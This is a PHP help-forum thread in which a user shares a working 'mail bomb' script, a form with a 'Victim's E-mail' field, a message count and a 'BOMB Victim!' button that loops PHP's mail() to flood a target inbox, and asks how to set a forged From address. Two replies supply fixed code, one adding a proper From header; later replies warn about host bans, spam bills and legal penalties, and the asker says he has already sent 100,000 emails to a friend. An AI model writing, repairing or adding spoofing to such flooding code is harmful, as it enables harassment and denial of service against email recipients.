Jump to content

Recommended Posts

hey guys ive got this mail bomb php

can anybody help me put a FROM:

section in it

so i can choose how the email will come from please

 

thankx for the help in advance

 

heres the script.

 

<link rel="stylesheet" type="text/css" href="css.css" />
<?


if ($mail == 1) {
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $from, $subject, "");
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
} else {
?>
<form action="mailbomb.php?mail=1" method="post">
       Victim's E-mail:<br>
       <input type="text" name="to"><br>
       How Many:<br>
       <input type="text" name="count"><br>
       Subject:<br>
       <input type="text" name="subject"><br>
       Message:<br>
       <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br>
    <br>
       <input type="submit" value="BOMB Victim!">
</form>
<?
}
?>

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/
Share on other sites

Try this code:

 

<link rel="stylesheet" type="text/css" href="css.css" />
<?
$to=$_POST['to'];
$count=$_POST['count'];
$subject=$_POST['subject'];
$message=$_POST['message'];
$from='something@domain.com';

if ($mail == 1) {
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $from, $subject, "");
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
} else {
?>
<form action="mailbomb.php?mail=1" method="post">
       Victim's E-mail:<br>
       <input type="text" name="to"><br>
       How Many:<br>
       <input type="text" name="count"><br>
       Subject:<br>
       <input type="text" name="subject"><br>
       Message:<br>
       <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br>
    <br>
       <input type="submit" value="BOMB Victim!">
</form>
<?
}
?>

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-271697
Share on other sites

The parameters for the mail() function are:

  • To
  • Subject
  • Body
  • Additional headers (optional, but this is where you put the "From:" header
  • Additional parameters (optional)

So you should do something like this:

<?php
if ($mail == 1) {
  $from = "From: $from"; // I'm assuming that $from contains an email address
  $body = ''; // if there is something to put into the body of the message, put it in this variable
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $subject, $body, $from);
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
?>

 

Ken

 

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272103
Share on other sites

Re-read the responses, especially those from Ken and mmarif4u

 

If the penny doesn't drop, maybe it's too early to start mailbombing anyone.

 

BTW - your web host is unlikely to be thrilled by your consumption of mail server resources and you may find your account terminated.

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272129
Share on other sites

owh so they will know that i have sent 100,000 emails to a mate

crap i didn't even think that would mater

 

so when you send emails it has to go through a mail server.

 

well it's a payed account so do you think the would mind.

 

well i thought that figuring out this php script becuase it looked basic would

be a good intro into the land of php scripts

i know a bit of C++ and html

 

but when i tried mmarif4u script the from was just a name not actually knot the email address from who it was from.

 

would this work

 

<link rel="stylesheet" type="text/css" href="css.css" />
<?
$to=$_POST['to'];
$count=$_POST['count'];
$subject=$_POST['subject'];
$message=$_POST['message'];
$from=$_POST['from'];

if ($mail == 1) {
  for ($i = 1; $i <= $count; $i++) {
      mail($to, $from, $subject, "");
      echo "Mail #".$i." was send<br>";
  }
  echo "Finished Bombing";
} else {
?>
<form action="mailbomb.php?mail=1" method="post">
       Victim's E-mail:<br>
       <input type="text" name="to"><br>
       How Many:<br>
       <input type="text" name="count"><br>
       Subject:<br>
       <input type="text" name="subject"><br>
       Message:<br>
       <textarea rows=10 cols=40 wrap="on" name="message"></textarea><br>
       From:<br>
       <input type="text" name="from"><br>
    <br>
       <input type="submit" value="BOMB Victim!">
</form>
<?
}
?>

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272132
Share on other sites

Becareful with your little "bomb" script mate. Your host can and most likley will get seriosly pissed off with you if you run the script to send 100,000 emails especially on shared hosting.

 

The server would likley grind to a halt and various services will also stop and/or crash. Shared hosting only allows like 10% of the CPU to be used per account...this is likley to go waaaaay up and get your account banned. Depending on your host, they may also send you/threaten to send you a nasty SPAM bill..

 

Becareful when sending emails through php. Make sure you only send to opt-in addresses ( and you can prove it ) that way you dont get bummed by the host for spamming.

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272141
Share on other sites

is there anyway to bomb people with out the web-host caring

 

Sure, set up your own server - web server and mail server - and bomb away.  Since that's an offence in most civilized jurisdictions, be prepared for equipment to be confiscated and either a hefty fine or jail time to follow.

 

Perhaps you want to try a different script to learn?

 

I'm getting grouchy. Time for bed.

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272142
Share on other sites

well ive got a decent spare computer

but over here in australia there no such thing as decent internet

the fastest here is 8mb and that cost about $100 a month.

 

then do you just always leave your computer running

and that it right

i would have myself a server.

but i would still need to get domain names

 

could someone tell me how that works ive never really understood

know owns then and has the right to sell them

 

and i just logged on to my webhost mister.net

 

and it says ive used %2 of my monthy data transfer $51 of that in email.

and that im allowed to set up 1000mail accounts for 1000users

it got like 5g data transfer.

 

Link to comment
https://forums.phpfreaks.com/topic/54938-fixing-my-mail-bomb/#findComment-272164
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.